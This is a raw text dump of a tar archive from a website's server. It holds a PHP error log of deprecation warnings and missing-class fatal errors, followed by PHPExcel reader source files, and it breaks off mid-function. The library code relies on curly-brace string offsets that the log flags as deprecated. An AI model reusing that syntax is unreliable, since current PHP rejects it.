/home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 19:19:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 19:33:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 19:33:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 19:33:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 19:33:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 19:33:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 19:33:37 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 19:42:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 19:42:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 19:42:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 19:42:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 19:42:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 19:42:32 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 19:53:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [03-Jul-2024 19:53:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [03-Jul-2024 19:53:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 19:53:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 19:53:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 19:53:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 19:53:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 19:53:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 23:07:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 23:07:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 23:07:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 23:07:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 23:07:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 23:07:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 23:22:20 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [04-Jul-2024 00:59:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 00:59:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 00:59:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 00:59:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 00:59:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 00:59:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [04-Jul-2024 01:54:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 01:54:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 01:54:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 01:54:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 01:54:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 01:54:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [04-Jul-2024 02:03:48 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [04-Jul-2024 10:30:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 14:49:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [05-Jul-2024 14:49:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [05-Jul-2024 14:49:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [05-Jul-2024 14:49:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [05-Jul-2024 14:49:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [05-Jul-2024 14:49:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 18:27:45 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [05-Jul-2024 19:34:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [05-Jul-2024 19:34:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [05-Jul-2024 19:34:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [05-Jul-2024 19:34:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [05-Jul-2024 19:34:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [05-Jul-2024 19:34:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [05-Jul-2024 20:10:51 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [05-Jul-2024 22:43:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [05-Jul-2024 22:43:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [05-Jul-2024 22:43:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [05-Jul-2024 22:43:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [05-Jul-2024 22:43:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [05-Jul-2024 22:43:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [06-Jul-2024 04:50:33 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [06-Jul-2024 07:06:22 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [06-Jul-2024 10:02:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [06-Jul-2024 10:02:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [06-Jul-2024 10:02:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [06-Jul-2024 10:02:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [06-Jul-2024 10:02:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [06-Jul-2024 10:02:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [06-Jul-2024 10:28:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [06-Jul-2024 10:28:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [06-Jul-2024 10:28:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [06-Jul-2024 10:28:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [06-Jul-2024 10:28:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [06-Jul-2024 10:28:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [06-Jul-2024 15:20:33 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [07-Jul-2024 02:20:03 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 PHPExcel/Reader/Excel5/Color.php 0000644 00000001763 14642534110 0012301 0 ustar 00 <?php class PHPExcel_Reader_Excel5_Color { /** * Read color * * @param int $color Indexed color * @param array $palette Color palette * @return array RGB color value, example: array('rgb' => 'FF0000') */ public static function map($color, $palette, $version) { if ($color <= 0x07 || $color >= 0x40) { // special built-in color return PHPExcel_Reader_Excel5_Color_BuiltIn::lookup($color); } elseif (isset($palette) && isset($palette[$color - 8])) { // palette color, color index 0x08 maps to pallete index 0 return $palette[$color - 8]; } else { // default color table if ($version == PHPExcel_Reader_Excel5::XLS_BIFF8) { return PHPExcel_Reader_Excel5_Color_BIFF8::lookup($color); } else { // BIFF5 return PHPExcel_Reader_Excel5_Color_BIFF5::lookup($color); } } return $color; } } PHPExcel/Reader/Excel5/Escher.php 0000644 00000052435 14642534110 0012436 0 ustar 00 <?php /** * PHPExcel_Reader_Excel5_Escher * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader_Excel5 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_Excel5_Escher { const DGGCONTAINER = 0xF000; const BSTORECONTAINER = 0xF001; const DGCONTAINER = 0xF002; const SPGRCONTAINER = 0xF003; const SPCONTAINER = 0xF004; const DGG = 0xF006; const BSE = 0xF007; const DG = 0xF008; const SPGR = 0xF009; const SP = 0xF00A; const OPT = 0xF00B; const CLIENTTEXTBOX = 0xF00D; const CLIENTANCHOR = 0xF010; const CLIENTDATA = 0xF011; const BLIPJPEG = 0xF01D; const BLIPPNG = 0xF01E; const SPLITMENUCOLORS = 0xF11E; const TERTIARYOPT = 0xF122; /** * Escher stream data (binary) * * @var string */ private $data; /** * Size in bytes of the Escher stream data * * @var int */ private $dataSize; /** * Current position of stream pointer in Escher stream data * * @var int */ private $pos; /** * The object to be returned by the reader. Modified during load. * * @var mixed */ private $object; /** * Create a new PHPExcel_Reader_Excel5_Escher instance * * @param mixed $object */ public function __construct($object) { $this->object = $object; } /** * Load Escher stream data. May be a partial Escher stream. * * @param string $data */ public function load($data) { $this->data = $data; // total byte size of Excel data (workbook global substream + sheet substreams) $this->dataSize = strlen($this->data); $this->pos = 0; // Parse Escher stream while ($this->pos < $this->dataSize) { // offset: 2; size: 2: Record Type $fbt = PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos + 2); switch ($fbt) { case self::DGGCONTAINER: $this->readDggContainer(); break; case self::DGG: $this->readDgg(); break; case self::BSTORECONTAINER: $this->readBstoreContainer(); break; case self::BSE: $this->readBSE(); break; case self::BLIPJPEG: $this->readBlipJPEG(); break; case self::BLIPPNG: $this->readBlipPNG(); break; case self::OPT: $this->readOPT(); break; case self::TERTIARYOPT: $this->readTertiaryOPT(); break; case self::SPLITMENUCOLORS: $this->readSplitMenuColors(); break; case self::DGCONTAINER: $this->readDgContainer(); break; case self::DG: $this->readDg(); break; case self::SPGRCONTAINER: $this->readSpgrContainer(); break; case self::SPCONTAINER: $this->readSpContainer(); break; case self::SPGR: $this->readSpgr(); break; case self::SP: $this->readSp(); break; case self::CLIENTTEXTBOX: $this->readClientTextbox(); break; case self::CLIENTANCHOR: $this->readClientAnchor(); break; case self::CLIENTDATA: $this->readClientData(); break; default: $this->readDefault(); break; } } return $this->object; } /** * Read a generic record */ private function readDefault() { // offset 0; size: 2; recVer and recInstance $verInstance = PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos); // offset: 2; size: 2: Record Type $fbt = PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos + 2); // bit: 0-3; mask: 0x000F; recVer $recVer = (0x000F & $verInstance) >> 0; $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read DggContainer record (Drawing Group Container) */ private function readDggContainer() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $dggContainer = new PHPExcel_Shared_Escher_DggContainer(); $this->object->setDggContainer($dggContainer); $reader = new PHPExcel_Reader_Excel5_Escher($dggContainer); $reader->load($recordData); } /** * Read Dgg record (Drawing Group) */ private function readDgg() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; } /** * Read BstoreContainer record (Blip Store Container) */ private function readBstoreContainer() { $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // record is a container, read contents $bstoreContainer = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer(); $this->object->setBstoreContainer($bstoreContainer); $reader = new PHPExcel_Reader_Excel5_Escher($bstoreContainer); $reader->load($recordData); } /** * Read BSE record */ private function readBSE() { // offset: 0; size: 2; recVer and recInstance // bit: 4-15; mask: 0xFFF0; recInstance $recInstance = (0xFFF0 & PHPExcel_Reader_Excel5::getInt2d($this->data, $this->pos)) >> 4; $length = PHPExcel_Reader_Excel5::getInt4d($this->data, $this->pos + 4); $recordData = substr($this->data, $this->pos + 8, $length); // move stream pointer to next record $this->pos += 8 + $length; // add BSE to BstoreContainer $BSE = new PHPExcel_Shared_Escher_DggContainer_BstoreContainer_BSE(); $this->object->addBSE($BSE); $BSE->setBLIPType($recInstance); // offset: 0; size: 1; btWin32 (MSOBLIPTYPE) $btWin32 = ord($recordData[0]); // offset: 1; size: 1; btWin32 (MSOBLIPTYPE) $btMacOS = ord($recordData[1]); // offset: 2; size: 16; MD4 digest $rgbUid = substr($recordData, 2, 16); // offset: 18; size: 2; tag $tag = PHPExcel_Reader_Excel5::getInt2d($recordData, 18); // offset: 20; size: 4; size of BLIP in bytes $size = PHPExcel_Reader_Excel5::getInt4d($recordData, 20); // offset: 24; size: 4; number of references to this BLIP $cRef = PHPExcel_Reader_Excel5::getInt4d($recordData, 24); // offset: 28; size: 4; MSOFO file offset $foDelay = PHPExcel_Reader_Excel5::getInt4d($recordData, 28); // offset: 32; size: 1; unused1 $unused1 = ord($recordData{32}); // offset: 33; size: 1; size of nameData in bytes (including null terminator) $cbName = ord($recordData{33}); // offset: 34; size: 1; unused2 $unused2 = ord($recordData{34}); // offset: 35; size: 1; unused3 $unused3 = ord($recordData{35}); // offset: 36; size: $cbName; nameData $nameData = substr($recordData, 36, $cbName); // offset: 36 + $cbName, size: var; the BLIP data $blipData = substr($recordData, 36 + $cbName); // record is a container, read contents $reader = new PHPExcel_Reader_Excel5_Escher($BSE); $reader->load($blipData); } /** * Read BlipJPEG record. Holds raw JPEG image data */ private function readBlipJPEG() 